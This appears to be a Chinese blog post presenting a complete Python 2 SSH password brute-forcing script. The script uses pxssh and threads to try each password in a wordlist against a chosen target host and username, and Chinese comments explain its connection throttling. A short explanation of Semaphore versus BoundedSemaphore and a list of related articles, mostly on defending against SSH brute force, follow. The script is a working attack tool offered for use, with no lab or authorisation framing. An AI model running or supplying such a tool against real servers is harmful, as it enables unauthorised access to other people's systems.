通过 Pxssh 暴力破解 SSH 密码
2018-01-05 18:50
405 查看
#!/usr/bin/python #coding=utf-8 from pexpect import pxssh import optparse import time from threading import * #最大连接数被设置为5,在每个thread启动时注册一个信号量,在connect函数结束时注销这个信号量,这样同时存在的线程数量就被控制为5个。 maxConnections = 5 ''' class threading.BoundedSemaphore(value=1) 本类用于实现 BoundedSemaphore 对象。BoundedSemaphore 会检查内部计数器的值,并保证它不会大于初始值, 如果超了,就引发一个 ValueError。多数情况下,semaphore 用于守护限制访问(但不限于 1)的资源, 如果 semaphore 被 release() 过多次,这意味着存在 bug ''' #定义一个有界信号量BoundedSemaphore,在调用release()函数时会检查增加的计数是否超过上限 connection_lock = BoundedSemaphore(value=maxConnections) Found = False Fails = 0 def connect(host,user,password,release): global Found global Fails try: s = pxssh.pxssh() #利用pxssh类的login()方法进行ssh登录 s.login(host,user,password) print '[+] Password Found: ' + password Found = True except Exception, e: #SSH服务器可能被大量的连接刷爆,等待一会再连接 if 'read_nonblocking' in str(e): Fails += 1 #睡眠5秒 time.sleep(5) #递归调用的connect(),不可释放锁 connect(host,user,password,False) #显示pxssh命令提示符提取困难,等待一会再连接 elif 'synchronize with original prompt' in str(e): time.sleep(1) #递归调用的connect(),不可释放锁 connect(host,user,password,False) finally: if release: #释放锁,结束线程 connection_lock.release() def main(): parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H <target host> -u <username> -f <password file>') parser.add_option('-H',dest='host',type='string',help='specify target host') parser.add_option('-u',dest='username',type='string',help='target username') parser.add_option('-f',dest='file',type='string',help='specify password file') (options,args) = parser.parse_args() if (options.host == None) | (options.username == None) | (options.file == None): print parser.usage exit(0) host = options.host username = options.username file = options.file fn = open(file,'r') for line in fn.readlines(): if Found: print '[*] Exiting: Password Found' exit(0) if Fails > 5: print '[!] Exiting: Too Many Socket Timeouts' exit(0) #加锁 connection_lock.acquire() #去掉换行符,其中Windows为'\r\n',Linux为'\n' password = line.strip('\r').strip('\n') print '[-] Testing: ' + str(password) #这里不是递归调用的connect(),可以释放锁 t = Thread(target=connect,args=(host,username,password,True)) child = t.start() if __name__ =='__main__': main()
Semaphore,是一种带计数的线程同步机制,当调用release时,增加计算,当acquire时,减少计数,当计数为0时,自动阻塞,等待release被调用。其存在两种Semaphore, 即Semaphore和BoundedSemaphore,都属于threading库。
Semaphore: 在调用release()函数时,不会检查增加的计数是否超过上限(没有上限,会一直上升)
BoundedSemaphore:在调用release()函数时,会检查增加的计数是否超过上限,从而保证了使用的计数
相关文章推荐
- Centos下防止ssh暴力破解密码的方法
- Denyhosts 防止SSH暴力破解服务器密码-1
- Debian vps使用DenyHosts防止SSH密码暴力破解
- linux实现ssh密码暴力破解
- fail2ban阻止SSH和VSFTP暴力破解密码
- 阿里云服务器被他人通过SSH暴力破解后的安全加固
- Linux SSH密码暴力破解技术及***实战
- 用fail2ban阻止SSH和VSFTP暴力破解密码
- 防止ssh暴力破解linux密码
- Wifi密码破解1:通过字典(暴力)破解WIFI密码
- denyhost防止SSH暴力破解、机器扫描、密码猜测
- 通过接口暴力破解密码
- 通过iptables防止暴力破解ssh
- 使用 fail2ban 防止暴力破解 ssh 及 vsftpd 密码
- 用denyhosts防SSH暴力破解用户密码
- 防暴力破解SSH/FTP/SMTP用户密码----fail2ban操作实务
- linux 防止ssh暴力破解密码
- 部署fail2ban防止暴力破解ssh密码
- 防止SSH暴力破解Linux服务器密码-2
- denyhost防止SSH暴力破解、机器扫描、密码猜测